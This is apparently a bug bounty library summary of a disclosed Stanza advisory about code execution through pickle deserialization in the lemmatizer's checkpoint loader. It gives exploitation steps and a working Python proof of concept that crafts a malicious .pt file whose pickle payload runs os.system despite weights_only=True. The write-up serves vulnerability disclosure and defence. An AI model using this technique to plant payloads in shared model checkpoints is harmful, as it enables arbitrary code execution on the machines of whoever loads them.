# Stanza: RCE via pickle deserialization in the lemmatizer

Stanza's lemmatizer unpacks a gzip pickle from checkpoint 'dicts' bytes with bare pickle.loads, so a crafted lemma .pt executes code at pipeline load despite weights_only=True.

- Payout: Research
- Severity: high
- Program: Stanza
- Found by: lexdotdev
- Disclosed: 2026-11-03
- CVE: CVE-2026-115878
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gh9r-c94j-cmp5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gh9r-c94j-cmp5
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:deserialization vuln:rce

**Target:** Python ML library lemmatizer checkpoint loader (stanza/models/lemma/trainer.py)
**Root cause:** torch.load(weights_only=True) treats the checkpoint's 'dicts' bytes as a primitive and passes them through, then _unpack_pos_dict gunzips and calls unrestricted pickle.loads on the inner stream.
**Steps:**
1. Build payload class whose __reduce__ returns `(os.system, (cmd,))`.
2. gzip-compress `pickle.dumps(Payload(), protocol=4)` into bytes, matching _pack_pos_dict shape.
3. Save checkpoint `{"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}` via `torch.save(ckpt, pt, _use_new_zipfile_serialization=False)`.
4. Load with `torch.load(pt, lambda s, l: s, weights_only=True)` — succeeds, dicts intact as bytes.
5. Call `_unpack_pos_dict(loaded["dicts"])` (trainer.py:378) — command executes.
6. For full pipeline: supply crafted file with valid config/vocab to `stanza.Pipeline(..., lemma_model_path=<file>)`.
**How found:** Source review of the lemmatizer load path: noticed the only bare pickle.loads in the tree inside _unpack_pos_dict, and reasoned that weights_only=True's allowlist never inspects bytes primitives, so the inner gzip pickle bypasses it.
**Exploitation:** Attacker supplies a malicious lemma .pt (shared checkpoint, custom registry, or caller-influenced lemma_model_path); pipeline construction routes to Trainer.load -> _unpack_pos_dict and runs the embedded pickle's __reduce__ payload as the loading user, before any inference.
**Insight:** weights_only=True only guards the outer torch stream; any bytes/primitive field later deserialized by the app (gzip+pickle, nested blobs) is a separate trust boundary — grep for bare pickle.loads/yaml.load on fields extracted from 'safe' checkpoints.

## Proof of concept (copied exactly from the original report)

**Pickle payload PoC crafting malicious lemma checkpoint**

```
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
```

